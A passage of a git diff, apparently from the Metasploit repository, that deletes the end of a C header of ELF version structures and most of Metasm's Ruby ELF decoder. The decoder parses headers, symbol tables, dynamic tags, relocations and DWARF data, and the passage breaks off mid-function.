Elf32_Half vd_flags; /* version information */ - Elf32_Half vd_ndx; /* version index */ - Elf32_Half vd_cnt; /* no. of associated aux entries */ - Elf32_Word vd_hash; /* version name hash value */ - Elf32_Word vd_aux; /* no. of bytes from start of this */ - /* verdef to verdaux array */ - Elf32_Word vd_next; /* no. of bytes from start of this */ -} Elf32_Verdef; /* verdef to next verdef entry */ - -typedef struct { /* Verdef Auxiliary Structure. */ - Elf32_Word vda_name; /* first element defines the version */ - /* name. Additional entries */ - /* define dependency names. */ - Elf32_Word vda_next; /* no. of bytes from start of this */ -} Elf32_Verdaux; /* verdaux to next verdaux entry */ - - -typedef struct { /* Version Requirement Structure. */ - Elf32_Half vn_version; /* this structures version revision */ - Elf32_Half vn_cnt; /* no. of associated aux entries */ - Elf32_Word vn_file; /* name of needed dependency (file) */ - Elf32_Word vn_aux; /* no. of bytes from start of this */ - /* verneed to vernaux array */ - Elf32_Word vn_next; /* no. of bytes from start of this */ -} Elf32_Verneed; /* verneed to next verneed entry */ - -typedef struct { /* Verneed Auxiliary Structure. */ - Elf32_Word vna_hash; /* version name hash value */ - Elf32_Half vna_flags; /* version information */ - Elf32_Half vna_other; - Elf32_Word vna_name; /* version name */ - Elf32_Word vna_next; /* no. of bytes from start of this */ -} Elf32_Vernaux; /* vernaux to next vernaux entry */ - -typedef Elf32_Half Elf32_Versym; /* Version symbol index array */ - -typedef struct { - Elf32_Half si_boundto; /* direct bindings - symbol bound to */ - Elf32_Half si_flags; /* per symbol flags */ -} Elf32_Syminfo; - - -#if (defined(_LP64) || ((__STDC__ - 0 == 0) && (!defined(_NO_LONGLONG)))) -typedef struct { - Elf64_Half vd_version; /* this structures version revision */ - Elf64_Half vd_flags; /* version information */ - Elf64_Half vd_ndx; /* version index */ - Elf64_Half vd_cnt; /* no. of associated aux entries */ - Elf64_Word vd_hash; /* version name hash value */ - Elf64_Word vd_aux; /* no. of bytes from start of this */ - /* verdef to verdaux array */ - Elf64_Word vd_next; /* no. of bytes from start of this */ -} Elf64_Verdef; /* verdef to next verdef entry */ - -typedef struct { - Elf64_Word vda_name; /* first element defines the version */ - /* name. Additional entries */ - /* define dependency names. */ - Elf64_Word vda_next; /* no. of bytes from start of this */ -} Elf64_Verdaux; /* verdaux to next verdaux entry */ - -typedef struct { - Elf64_Half vn_version; /* this structures version revision */ - Elf64_Half vn_cnt; /* no. of associated aux entries */ - Elf64_Word vn_file; /* name of needed dependency (file) */ - Elf64_Word vn_aux; /* no. of bytes from start of this */ - /* verneed to vernaux array */ - Elf64_Word vn_next; /* no. of bytes from start of this */ -} Elf64_Verneed; /* verneed to next verneed entry */ - -typedef struct { - Elf64_Word vna_hash; /* version name hash value */ - Elf64_Half vna_flags; /* version information */ - Elf64_Half vna_other; - Elf64_Word vna_name; /* version name */ - Elf64_Word vna_next; /* no. of bytes from start of this */ -} Elf64_Vernaux; /* vernaux to next vernaux entry */ - -typedef Elf64_Half Elf64_Versym; - -typedef struct { - Elf64_Half si_boundto; /* direct bindings - symbol bound to */ - Elf64_Half si_flags; /* per symbol flags */ -} Elf64_Syminfo; -#endif /* (defined(_LP64) || ((__STDC__ - 0 == 0) ... */ - -#endif - -/* - * Versym symbol index values. Values greater than VER_NDX_GLOBAL - * and less then VER_NDX_LORESERVE associate symbols with user - * specified version descriptors. - */ -#define VER_NDX_LOCAL 0 /* symbol is local */ -#define VER_NDX_GLOBAL 1 /* symbol is global and assigned to */ - /* the base version */ -#define VER_NDX_LORESERVE 0xff00 /* beginning of RESERVED entries */ -#define VER_NDX_ELIMINATE 0xff01 /* symbol is to be eliminated */ - -/* - * Verdef and Verneed (via Veraux) flags values. - */ -#define VER_FLG_BASE 0x1 /* version definition of file itself */ -#define VER_FLG_WEAK 0x2 /* weak version identifier */ - -/* - * Verdef version values. - */ -#define VER_DEF_NONE 0 /* Ver_def version */ -#define VER_DEF_CURRENT 1 -#define VER_DEF_NUM 2 - -/* - * Verneed version values. - */ -#define VER_NEED_NONE 0 /* Ver_need version */ -#define VER_NEED_CURRENT 1 -#define VER_NEED_NUM 2 - - -/* - * Syminfo flag values - */ -#define SYMINFO_FLG_DIRECT 0x0001 /* direct bound symbol */ -#define SYMINFO_FLG_PASSTHRU 0x0002 /* pass-thru symbol for translator */ -#define SYMINFO_FLG_COPY 0x0004 /* symbol is a copy-reloc */ -#define SYMINFO_FLG_LAZYLOAD 0x0008 /* symbol bound to object to be lazy */ - /* loaded */ - -/* - * key values for Syminfo.si_boundto - */ -#define SYMINFO_BT_SELF 0xffff /* symbol bound to self */ -#define SYMINFO_BT_PARENT 0xfffe /* symbol bound to parent */ -#define SYMINFO_BT_LOWRESERVE 0xff00 /* beginning of reserved entries */ - -/* - * Syminfo version values. - */ -#define SYMINFO_NONE 0 /* Syminfo version */ -#define SYMINFO_CURRENT 1 -#define SYMINFO_NUM 2 - diff --git a/lib/metasm/metasm/exe_format/elf_decode.rb b/lib/metasm/metasm/exe_format/elf_decode.rb deleted file mode 100644 index 8f81c90f9e..0000000000 --- a/lib/metasm/metasm/exe_format/elf_decode.rb +++ /dev/null @@ -1,1087 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/decode' -require 'metasm/exe_format/elf' unless defined? Metasm::ELF - -module Metasm -class ELF - class Header - # hook the decode sequence, to fixup elf data based on info - # we have (endianness & xword size, needed in decode_word etc) - decode_hook(:type) { |elf, hdr| - raise InvalidExeFormat, "E: ELF: invalid ELF signature #{hdr.magic.inspect}" if hdr.magic != "\x7fELF" - - case hdr.e_class - when '32'; elf.bitsize = 32 - when '64', '64_icc'; elf.bitsize = 64 - else puts "W: ELF: unsupported class #{hdr.e_class}, assuming 32bit"; elf.bitsize = 32 - end - - case hdr.data - when 'LSB'; elf.endianness = :little - when 'MSB'; elf.endianness = :big - else puts "W: ELF: unsupported endianness #{hdr.data}, assuming littleendian"; elf.endianness = :little - end - - if hdr.i_version != 'CURRENT' - puts ":: ELF: unsupported ELF version #{hdr.i_version}" - end - } - end - - class Symbol - def decode(elf, strtab=nil) - super(elf) - @name = elf.readstr(strtab, @name_p) if strtab - end - end - - # basic immediates decoding functions - def decode_byte( edata = @encoded) edata.decode_imm(:u8, @endianness) end - def decode_half( edata = @encoded) edata.decode_imm(:u16, @endianness) end - def decode_word( edata = @encoded) edata.decode_imm(:u32, @endianness) end - def decode_sword(edata = @encoded) edata.decode_imm(:i32, @endianness) end - def decode_xword(edata = @encoded) edata.decode_imm((@bitsize == 32 ? :u32 : :u64), @endianness) end - def decode_sxword(edata= @encoded) edata.decode_imm((@bitsize == 32 ? :i32 : :i64), @endianness) end - alias decode_addr decode_xword - alias decode_off decode_xword - - def readstr(str, off) - if off > 0 and i = str.index(?\0, off) rescue false # LoadedElf with arbitrary pointer... - str[off...i] - end - end - - # transforms a virtual address to a file offset, from mmaped segments addresses - def addr_to_off(addr) - s = @segments.find { |s_| s_.type == 'LOAD' and s_.vaddr <= addr and s_.vaddr + s_.memsz > addr } if addr - addr - s.vaddr + s.offset if s - end - - # memory address -> file offset - # handles relocated LoadedELF - def addr_to_fileoff(addr) - la = module_address - la = (la == 0 ? (@load_address ||= 0) : 0) - addr_to_off(addr - la) - end - - # file offset -> memory address - # handles relocated LoadedELF - def fileoff_to_addr(foff) - if s = @segments.find { |s_| s_.type == 'LOAD' and s_.offset <= foff and s_.offset + s_.filesz > foff } - la = module_address - la = (la == 0 ? (@load_address ||= 0) : 0) - s.vaddr + la + foff - s.offset - end - end - - # return the address of a label - def label_addr(name) - if name.kind_of? Integer - name - elsif s = @segments.find { |s_| s_.encoded and s_.encoded.export[name] } - s.vaddr + s.encoded.export[name] - elsif o = @encoded.export[name] and s = @segments.find { |s_| s_.offset <= o and s_.offset + s_.filesz > o } - s.vaddr + o - s.offset - end - end - - # make an export of +self.encoded+, returns the label name if successful - def add_label(name, addr) - if not o = addr_to_off(addr) - puts "W: Elf: #{name} points to unmmaped space #{'0x%08X' % addr}" if $VERBOSE - else - l = new_label(name) - @encoded.add_export l, o - end - l - end - - # decodes the elf header, section & program header - def decode_header(off = 0, decode_phdr=true, decode_shdr=true) - @encoded.ptr = off - @header.decode self - raise InvalidExeFormat, "Invalid elf header size: #{@header.ehsize}" if Header.sizeof(self) != @header.ehsize - if decode_phdr and @header.phoff != 0 - decode_program_header(@header.phoff+off) - end - if decode_shdr and @header.shoff != 0 - decode_section_header(@header.shoff+off) - end - end - - # decodes the section header - # section names are read from shstrndx if possible - def decode_section_header(off = @header.shoff) - raise InvalidExeFormat, "Invalid elf section header size: #{@header.shentsize}" if Section.sizeof(self) != @header.shentsize - @encoded.add_export new_label('section_header'), off - @encoded.ptr = off - @sections = [] - @header.shnum.times { @sections << Section.decode(self) } - - # read sections name - if @header.shstrndx != 0 and str = @sections[@header.shstrndx] and str.encoded = @encoded[str.offset, str.size] - # LoadedElf may not have shstr mmaped - @sections[1..-1].each { |s| - s.name = readstr(str.encoded.data, s.name_p) - add_label("section_#{s.name}", s.addr) if s.name and s.addr > 0 - } - end - end - - # decodes the program header table - # marks the elf entrypoint as an export of +self.encoded+ - def decode_program_header(off = @header.phoff) - raise InvalidExeFormat, "Invalid elf program header size: #{@header.phentsize}" if Segment.sizeof(self) != @header.phentsize - @encoded.add_export new_label('program_header'), off - @encoded.ptr = off - @segments = [] - @header.phnum.times { @segments << Segment.decode(self) } - - if @header.entry != 0 - add_label('entrypoint', @header.entry) - end - end - - # read the dynamic symbols hash table, and checks that every global and named symbol is accessible through it - # outputs a warning if it's not and $VERBOSE is set - def check_symbols_hash(off = @tag['HASH']) - return if not @encoded.ptr = off - - hash_bucket_len = decode_word - sym_count = decode_word - - hash_bucket = [] ; hash_bucket_len.times { hash_bucket << decode_word } - hash_table = [] ; sym_count.times { hash_table << decode_word } - - @symbols.each { |s| - next if not s.name or s.bind != 'GLOBAL' or s.shndx == 'UNDEF' - - found = false - h = ELF.hash_symbol_name(s.name) - off = hash_bucket[h % hash_bucket_len] - sym_count.times { # to avoid DoS by loop - break if off == 0 - if ss = @symbols[off] and ss.name == s.name - found = true - break - end - off = hash_table[off] - } - if not found - puts "W: Elf: Symbol #{s.name.inspect} not found in hash table" if $VERBOSE - end - } - end - - # checks every symbol's accessibility through the gnu_hash table - def check_symbols_gnu_hash(off = @tag['GNU_HASH'], just_get_count=false) - return if not @encoded.ptr = off - - # when present: the symndx first symbols are not sorted (SECTION/LOCAL/FILE/etc) symtable[symndx] is sorted (1st sorted symbol) - # the sorted symbols are sorted by [gnu_hash_symbol_name(symbol.name) % hash_bucket_len] - hash_bucket_len = decode_word - symndx = decode_word # index of first sorted symbol in symtab - maskwords = decode_word # number of words in the second part of the ghash section (32 or 64 bits) - shift2 = decode_word # used in the bloom filter - - bloomfilter = [] ; maskwords.times { bloomfilter << decode_xword } - # "bloomfilter[N] has bit B cleared if there is no M (M > symndx) which satisfies (C = @header.class) - # ((gnu_hash(sym[M].name) / C) % maskwords) == N && - # ((gnu_hash(sym[M].name) % C) == B || - # ((gnu_hash(sym[M].name) >> shift2) % C) == B" - # bloomfilter may be [~0] - if shift2 - end - - hash_bucket = [] ; hash_bucket_len.times { hash_bucket << decode_word } - # bucket[N] contains the lowest M for which - # gnu_hash(sym[M]) % nbuckets == N - # or 0 if none - - hsymcount = 0 - part4 = [] - hash_bucket.each { |hmodidx| - # for each bucket, walk all the chain - # we do not walk the chains in hash_bucket order here, this - # is just to read all the part4 as we don't know - # beforehand the number of hashed symbols - next if hmodidx == 0 # no hash chain for this mod - loop do - fu = decode_word - hsymcount += 1 - part4 << fu - break if fu & 1 == 1 - end - } - - # part4[N] contains - # (gnu_hash(sym[N].name) & ~1) | (N == dynsymcount-1 || (gnu_hash(sym[N].name) % nbucket) != (gnu_hash(sym[N+1].name) % nbucket)) - # that's the hash, with its lower bit replaced by the bool [1 if i am the last sym having my hash as hash] - - # we're going to decode the symbol table, and we just want to get the nr of symbols to read - if just_get_count - # index of highest hashed (exported) symbols - ns = hsymcount+symndx - - # no way to get the number of non-exported symbols from what we have here - # so we'll decode all relocs and use the largest index we see.. - rels = [] - if @encoded.ptr = @tag['REL'] and @tag['RELENT'] == Relocation.sizeof(self) - p_end = @encoded.ptr + @tag['RELSZ'] - while @encoded.ptr < p_end - rels << Relocation.decode(self) - end - end - if @encoded.ptr = @tag['RELA'] and @tag['RELAENT'] == RelocationAddend.sizeof(self) - p_end = @encoded.ptr + @tag['RELASZ'] - while @encoded.ptr < p_end - rels << RelocationAddend.decode(self) - end - end - if @encoded.ptr = @tag['JMPREL'] and relcls = case @tag['PLTREL'] - when 'REL'; Relocation - when 'RELA'; RelocationAddend - end - p_end = @encoded.ptr + @tag['PLTRELSZ'] - while @encoded.ptr < p_end - rels << relcls.decode(self) - end - end - maxr = rels.map { |rel| rel.symbol }.grep(::Integer).max || -1 - - return [ns, maxr+1].max - end - - - # TODO - end - - # read dynamic tags array - def decode_tags(off = nil) - if not off - if s = @segments.find { |s_| s_.type == 'DYNAMIC' } - # this way it also works with LoadedELF - off = addr_to_off(s.vaddr) - elsif s = @sections.find { |s_| s_.type == 'DYNAMIC' } - # if no DYNAMIC segment, assume we decode an ET_REL from file - off = s.offset - end - end - return if not @encoded.ptr = off - - @tag = {} - loop do - tag = decode_sxword - val = decode_xword - if tag >= DYNAMIC_TAG_LOPROC and tag < DYNAMIC_TAG_HIPROC - tag = int_to_hash(tag-DYNAMIC_TAG_LOPROC, DYNAMIC_TAG_PROC[@header.machine] || {}) - tag += DYNAMIC_TAG_LOPROC if tag.kind_of? Integer - else - tag = int_to_hash(tag, DYNAMIC_TAG) - end - case tag - when 'NULL' - @tag[tag] = val - break - when Integer - puts "W: Elf: unknown dynamic tag 0x#{tag.to_s 16}" if $VERBOSE - @tag[tag] ||= [] - @tag[tag] << val - when 'NEEDED' # here, list of tags for which multiple occurences are allowed - @tag[tag] ||= [] - @tag[tag] << val - when 'POSFLAG_1' - puts "W: Elf: ignoring dynamic tag modifier #{tag} #{int_to_hash(val, DYNAMIC_POSFLAG_1)}" if $VERBOSE - else - if @tag[tag] - puts "W: Elf: ignoring re-occurence of dynamic tag #{tag} (value #{'0x%08X' % val})" if $VERBOSE - else - @tag[tag] = val - end - end - end - end - - # interprets tags (convert flags, arrays etc), mark them as self.encoded.export - def decode_segments_tags_interpret - if @tag['STRTAB'] - if not sz = @tag['STRSZ'] - puts "W: Elf: no string table size tag" if $VERBOSE - else - if l = add_label('dynamic_strtab', @tag['STRTAB']) - @tag['STRTAB'] = l - strtab = @encoded[l, sz].data - end - end - end - - @tag.keys.each { |k| - case k - when Integer - when 'NEEDED' - # array of strings - if not strtab - puts "W: Elf: no string table, needed for tag #{k}" if $VERBOSE - next - end - @tag[k].map! { |v| readstr(strtab, v) } - when 'SONAME', 'RPATH', 'RUNPATH' - # string - if not strtab - puts "W: Elf: no string table, needed for tag #{k}" if $VERBOSE - next - end - @tag[k] = readstr(strtab, @tag[k]) - when 'INIT', 'FINI', 'PLTGOT', 'HASH', 'GNU_HASH', 'SYMTAB', 'RELA', 'REL', 'JMPREL' - @tag[k] = add_label('dynamic_' + k.downcase, @tag[k]) || @tag[k] - when 'INIT_ARRAY', 'FINI_ARRAY', 'PREINIT_ARRAY' - next if not l = add_label('dynamic_' + k.downcase, @tag[k]) - if not sz = @tag.delete(k+'SZ') - puts "W: Elf: tag #{k} has no corresponding size tag" if $VERBOSE - next - end - - tab = @encoded[l, sz] - tab.ptr = 0 - @tag[k] = [] - while tab.ptr < tab.length - a = decode_addr(tab) - @tag[k] << (add_label("dynamic_#{k.downcase}_#{@tag[k].length}", a) || a) - end - when 'PLTREL'; @tag[k] = int_to_hash(@tag[k], DYNAMIC_TAG) - when 'FLAGS'; @tag[k] = bits_to_hash(@tag[k], DYNAMIC_FLAGS) - when 'FLAGS_1'; @tag[k] = bits_to_hash(@tag[k], DYNAMIC_FLAGS_1) - when 'FEATURES_1'; @tag[k] = bits_to_hash(@tag[k], DYNAMIC_FEATURES_1) - end - } - end - - # marks a symbol as @encoded.export (from s.value, using segments or sections) - def decode_symbol_export(s) - if s.name and s.shndx != 'UNDEF' and %w[NOTYPE OBJECT FUNC].include?(s.type) - if @header.type == 'REL' - sec = @sections[s.shndx] - o = sec.offset + s.value - elsif not o = addr_to_off(s.value) - # allow to point to end of segment - if not seg = @segments.find { |seg_| seg_.type == 'LOAD' and seg_.vaddr + seg_.memsz == s.value } # check end - puts "W: Elf: symbol points to unmmaped space (#{s.inspect})" if $VERBOSE and s.shndx != 'ABS' - return - end - # LoadedELF would have returned an addr_to_off = addr - o = s.value - seg.vaddr + seg.offset - end - name = s.name - while @encoded.export[name] and @encoded.export[name] != o - puts "W: Elf: symbol #{name} already seen at #{'%X' % @encoded.export[name]} - now at #{'%X' % o}) (may be a different version definition)" if $VERBOSE - name += '_' # do not modify inplace - end - @encoded.add_export name, o - end - end - - # read symbol table, and mark all symbols found as exports of self.encoded - # tables locations are found in self.tags - # XXX symbol count is found from the hash table, this may not work with GNU_HASH only binaries - def decode_segments_symbols - return unless @tag['STRTAB'] and @tag['STRSZ'] and @tag['SYMTAB'] and (@tag['HASH'] or @tag['GNU_HASH']) - - raise "E: ELF: unsupported symbol entry size: #{@tag['SYMENT']}" if @tag['SYMENT'] != Symbol.sizeof(self) - - # find number of symbols - if @tag['HASH'] - @encoded.ptr = @tag['HASH'] # assume tag already interpreted (would need addr_to_off otherwise) - decode_word - sym_count = decode_word - else - sym_count = check_symbols_gnu_hash(@tag['GNU_HASH'], true) - end - - strtab = @encoded[@tag['STRTAB'], @tag['STRSZ']].data.to_str - - @encoded.ptr = @tag['SYMTAB'] - @symbols.clear - sym_count.times { - s = Symbol.decode(self, strtab) - @symbols << s - decode_symbol_export(s) - } - - check_symbols_hash if $VERBOSE - check_symbols_gnu_hash if $VERBOSE - end - - # decode SYMTAB sections - def decode_sections_symbols - @symbols ||= [] - @sections.to_a.each { |sec| - next if sec.type != 'SYMTAB' - next if not strtab = @sections[sec.link] - strtab = @encoded[strtab.offset, strtab.size].data - @encoded.ptr = sec.offset - syms = [] - raise 'Invalid symbol table' if sec.size > @encoded.length - (sec.size / Symbol.sizeof(self)).times { syms << Symbol.decode(self, strtab) } - alreadysegs = true if @header.type == 'DYN' or @header.type == 'EXEC' - alreadysyms = @symbols.inject({}) { |h, s| h.update s.name => true } if alreadysegs - syms.each { |s| - if alreadysegs - # if we already decoded the symbols from the DYNAMIC segment, - # ignore dups and imports from this section - next if s.shndx == 'UNDEF' - next if alreadysyms[s.name] - alreadysyms[s.name] = true - end - @symbols << s - decode_symbol_export(s) - } - } - end - - # decode REL/RELA sections - def decode_sections_relocs - @relocations ||= [] - @sections.to_a.each { |sec| - case sec.type - when 'REL'; relcls = Relocation - when 'RELA'; relcls = RelocationAddend - else next - end - startidx = @relocations.length - @encoded.ptr = sec.offset - while @encoded.ptr < sec.offset + sec.size - @relocations << relcls.decode(self) - end - - # create edata relocs - tsec = @sections[sec.info] - relocproc = "arch_decode_segments_reloc_#{@header.machine.to_s.downcase}" - next if not respond_to? relocproc - new_label('pcrel') - @relocations[startidx..-1].each { |r| - o = @encoded.ptr = tsec.offset + r.offset - r = r.dup - l = new_label('pcrel') - r.offset = Expression[l] - if rel = send(relocproc, r) - @encoded.reloc[o] = rel - end - } - } - end - - # decode relocation tables (REL, RELA, JMPREL) from @tags - def decode_segments_relocs - @relocations.clear - if @encoded.ptr = @tag['REL'] - raise "E: ELF: unsupported rel entry size #{@tag['RELENT']}" if @tag['RELENT'] != Relocation.sizeof(self) - p_end = @encoded.ptr + @tag['RELSZ'] - while @encoded.ptr < p_end - @relocations << Relocation.decode(self) - end - end - - if @encoded.ptr = @tag['RELA'] - raise "E: ELF: unsupported rela entry size #{@tag['RELAENT'].inspect}" if @tag['RELAENT'] != RelocationAddend.sizeof(self) - p_end = @encoded.ptr + @tag['RELASZ'] - while @encoded.ptr < p_end - @relocations << RelocationAddend.decode(self) - end - end - - if @encoded.ptr = @tag['JMPREL'] - case reltype = @tag['PLTREL'] - when 'REL'; relcls = Relocation - when 'RELA'; relcls = RelocationAddend - else raise "E: ELF: unsupported plt relocation type #{reltype}" - end - p_end = @encoded.ptr + @tag['PLTRELSZ'] - while @encoded.ptr < p_end - @relocations << relcls.decode(self) - end - end - end - - # use relocations as self.encoded.reloc - def decode_segments_relocs_interpret - relocproc = "arch_decode_segments_reloc_#{@header.machine.to_s.downcase}" - if not respond_to? relocproc - puts "W: Elf: relocs for arch #{@header.machine} unsupported" if $VERBOSE - return - end - @relocations.each { |r| - next if r.offset == 0 - if not o = addr_to_off(r.offset) - puts "W: Elf: relocation in unmmaped space (#{r.inspect})" if $VERBOSE - next - end - if @encoded.reloc[o] - puts "W: Elf: not rerelocating address #{'%08X' % r.offset}" if $VERBOSE - next - end - @encoded.ptr = o - if rel = send(relocproc, r) - @encoded.reloc[o] = rel - end - } - - if @header.machine == 'MIPS' and @tag['PLTGOT'] and @tag['GOTSYM'] and @tag['LOCAL_GOTNO'] - puts "emulating mips PLT-like relocs" if $VERBOSE - wsz = @bitsize/8 - dyntab = label_addr(@tag['PLTGOT']) - (@tag['GOTSYM'] - @tag['LOCAL_GOTNO']) * wsz - dt_o = addr_to_off(dyntab) - @symbols.each_with_index { |sym, i| - next if i < @tag['GOTSYM'] or not sym.name - r = Metasm::Relocation.new(Expression[sym.name], "u#@bitsize".to_sym, @endianness) - @encoded.reloc[dt_o + wsz*i] = r - } - end - end - - # returns the target of a relocation using reloc.symbol - # may create new labels if the relocation targets a section - def reloc_target(reloc) - target = 0 - if reloc.symbol.kind_of?(Symbol) - if reloc.symbol.type == 'SECTION' - s = @sections[reloc.symbol.shndx] - if not target = @encoded.inv_export[s.offset] - target = new_label(s.name) - @encoded.add_export(target, s.offset) - end - elsif reloc.symbol.name - target = reloc.symbol.name - end - end - target - end - - # returns the Metasm::Relocation that should be applied for reloc - # self.encoded.ptr must point to the location that will be relocated (for implicit addends) - def arch_decode_segments_reloc_386(reloc) - if reloc.symbol.kind_of?(Symbol) and n = reloc.symbol.name and reloc.symbol.shndx == 'UNDEF' and @sections and - s = @sections.find { |s_| s_.name and s_.offset <= @encoded.ptr and s_.offset + s_.size > @encoded.ptr } - @encoded.add_export(new_label("#{s.name}_#{n}"), @encoded.ptr, true) - end - - # decode addend if needed - case reloc.type - when 'NONE', 'COPY', 'GLOB_DAT', 'JMP_SLOT' # no addend - else addend = reloc.addend || decode_sword - end - - case reloc.type - when 'NONE' - when 'RELATIVE' - # base = @segments.find_all { |s| s.type == 'LOAD' }.map { |s| s.vaddr }.min & 0xffff_f000 - # compiled to be loaded at seg.vaddr - target = addend - if o = addr_to_off(target) - if not label = @encoded.inv_export[o] - label = new_label("xref_#{Expression[target]}") - @encoded.add_export label, o - end - target = label - else - puts "W: Elf: relocation pointing out of mmaped space #{reloc.inspect}" if $VERBOSE - end - when 'GLOB_DAT', 'JMP_SLOT', '32', 'PC32', 'TLS_TPOFF', 'TLS_TPOFF32' - # XXX use versionned version - # lazy jmp_slot ? - target = reloc_target(reloc) - target = Expression[target, :-, reloc.offset] if reloc.type == 'PC32' - target = Expression[target, :+, addend] if addend and addend != 0 - target = Expression[target, :+, 'tlsoffset'] if reloc.type == 'TLS_TPOFF' - target = Expression[:-, [target, :+, 'tlsoffset']] if reloc.type == 'TLS_TPOFF32' - when 'COPY' - # mark the address pointed as a copy of the relocation target - if not reloc.symbol.kind_of?(Symbol) or not name = reloc.symbol.name - puts "W: Elf: symbol to COPY has no name: #{reloc.inspect}" if $VERBOSE - name = '' - end - name = new_label("copy_of_#{name}") - @encoded.add_export name, @encoded.ptr - target = nil - else - puts "W: Elf: unhandled 386 reloc #{reloc.inspect}" if $VERBOSE - target = nil - end - - Metasm::Relocation.new(Expression[target], :u32, @endianness) if target - end - - # returns the Metasm::Relocation that should be applied for reloc - # self.encoded.ptr must point to the location that will be relocated (for implicit addends) - def arch_decode_segments_reloc_mips(reloc) - if reloc.symbol.kind_of?(Symbol) and n = reloc.symbol.name and reloc.symbol.shndx == 'UNDEF' and @sections and - s = @sections.find { |s_| s_.name and s_.offset <= @encoded.ptr and s_.offset + s_.size > @encoded.ptr } - @encoded.add_export(new_label("#{s.name}_#{n}"), @encoded.ptr, true) - end - - original_word = decode_word - - # decode addend if needed - case reloc.type - when 'NONE' # no addend - else addend = reloc.addend || Expression.make_signed(original_word, 32) - end - - case reloc.type - when 'NONE' - when '32', 'REL32' - target = reloc_target(reloc) - target = Expression[target, :-, reloc.offset] if reloc.type == 'REL32' - target = Expression[target, :+, addend] if addend and addend != 0 - when '26' - target = reloc_target(reloc) - addend &= 0x3ff_ffff - target = Expression[target, :+, [addend, :<<, 2]] if addend and addend != 0 - target = Expression[[original_word, :&, 0xfc0_0000], :|, [[target, :&, 0x3ff_ffff], :>>, 2]] - when 'HI16' - target = reloc_target(reloc) - addend &= 0xffff - target = Expression[target, :+, [addend, :<<, 16]] if addend and addend != 0 - target = Expression[[original_word, :&, 0xffff_0000], :|, [[target, :>>, 16], :&, 0xffff]] - when 'LO16' - target = reloc_target(reloc) - addend &= 0xffff - target = Expression[target, :+, addend] if addend and addend != 0 - target = Expression[[original_word, :&, 0xffff_0000], :|, [target, :&, 0xffff]] - else - puts "W: Elf: unhandled MIPS reloc #{reloc.inspect}" if $VERBOSE - target = nil - end - - Metasm::Relocation.new(Expression[target], :u32, @endianness) if target - end - - # returns the Metasm::Relocation that should be applied for reloc - # self.encoded.ptr must point to the location that will be relocated (for implicit addends) - def arch_decode_segments_reloc_x86_64(reloc) - if reloc.symbol.kind_of?(Symbol) and n = reloc.symbol.name and reloc.symbol.shndx == 'UNDEF' and @sections and - s = @sections.find { |s_| s_.name and s_.offset <= @encoded.ptr and s_.offset + s_.size > @encoded.ptr } - @encoded.add_export(new_label("#{s.name}_#{n}"), @encoded.ptr, true) - end - - # decode addend if needed - case reloc.type - when 'NONE' # no addend - when '32', 'PC32'; addend = reloc.addend || decode_sword - else addend = reloc.addend || decode_sxword - end - - sz = :u64 - case reloc.type - when 'NONE' - when 'RELATIVE' - # base = @segments.find_all { |s| s.type == 'LOAD' }.map { |s| s.vaddr }.min & 0xffff_f000 - # compiled to be loaded at seg.vaddr - target = addend - if o = addr_to_off(target) - if not label = @encoded.inv_export[o] - label = new_label("xref_#{Expression[target]}") - @encoded.add_export label, o - end - target = label - else - puts "W: Elf: relocation pointing out of mmaped space #{reloc.inspect}" if $VERBOSE - end - when 'GLOB_DAT', 'JMP_SLOT', '64', 'PC64', '32', 'PC32' - # XXX use versionned version - # lazy jmp_slot ? - target = reloc_target(reloc) - target = Expression[target, :-, reloc.offset] if reloc.type == 'PC64' or reloc.type == 'PC32' - target = Expression[target, :+, addend] if addend and addend != 0 - sz = :u32 if reloc.type == '32' or reloc.type == 'PC32' - when 'COPY' - # mark the address pointed as a copy of the relocation target - if not reloc.symbol.kind_of?(Symbol) or not name = reloc.symbol.name - puts "W: Elf: symbol to COPY has no name: #{reloc.inspect}" if $VERBOSE - name = '' - end - name = new_label("copy_of_#{name}") - @encoded.add_export name, @encoded.ptr - target = nil - else - puts "W: Elf: unhandled X86_64 reloc #{reloc.inspect}" if $VERBOSE - target = nil - end - - Metasm::Relocation.new(Expression[target], sz, @endianness) if target - end - - def arch_decode_segments_reloc_sh(reloc) - if reloc.symbol.kind_of?(Symbol) and n = reloc.symbol.name and reloc.symbol.shndx == 'UNDEF' and @sections and - s = @sections.find { |s_| s_.name and s_.offset <= @encoded.ptr and s_.offset + s_.size > @encoded.ptr } - @encoded.add_export(new_label("#{s.name}_#{n}"), @encoded.ptr, true) - end - - original_word = decode_word - - # decode addend if needed - case reloc.type - when 'NONE' # no addend - else addend = reloc.addend || Expression.make_signed(original_word, 32) - end - - case reloc.type - when 'NONE' - when 'GLOB_DAT', 'JMP_SLOT' - target = reloc_target(reloc) - target = Expression[target, :+, addend] if addend and addend != 0 - else - puts "W: Elf: unhandled SH reloc #{reloc.inspect}" if $VERBOSE - target = nil - end - - Metasm::Relocation.new(Expression[target], :u32, @endianness) if target - end - - class DwarfDebug - # decode a DWARF2 'compilation unit' - def decode(elf, info, abbrev, str) - super(elf, info) - len = @cu_len-7 # @cu_len is size from end of @cu_len field, so we substract ptsz/tag/abroff - info.ptr += len # advance for caller - info = info[info.ptr-len, len] # we'll work on our segment - abbrev.ptr = @abbrev_off - - return if abbrev.ptr >= abbrev.length or info.ptr >= info.length - - idx_abbroff = {} - - # returns a list of siblings at current abbrev.ptr - decode_tree = lambda { |parent| - siblings = [] - loop { - info_idx = elf.decode_leb(info) - break siblings if info_idx == 0 - abbrev.ptr = idx_abbroff[info_idx] if idx_abbroff[info_idx] - idx_abbroff[info_idx] ||= abbrev.ptr - n = DwarfDebug::Node.decode(elf, info, abbrev, str, idx_abbroff) - idx_abbroff[info_idx+1] ||= abbrev.ptr - siblings << n - n.children = decode_tree[n] if n.has_child == 1 - n.parent = parent - break n if not parent - } - } - @tree = decode_tree[nil] - end - - class Node - def decode(elf, info, abbrev, str, idx_abbroff) - super(elf, abbrev) - return if @index == 0 - @attributes = [] - loop { - a = Attribute.decode(elf, abbrev) - break if a.attr == 0 and a.form == 0 - if a.form == 'INDIRECT' # actual form tag is stored in info - a.form = elf.decode_leb(info) - a.form = DWARF_FORM[a.form] || a.form # XXX INDIRECT again ? - end - a.data = case a.form - when 'ADDR'; elf.decode_xword(info) # should use dbg.ptr_sz - when 'DATA1', 'REF1', 'BLOCK1', 'FLAG'; elf.decode_byte(info) - when 'DATA2', 'REF2', 'BLOCK2'; elf.decode_half(info) - when 'DATA4', 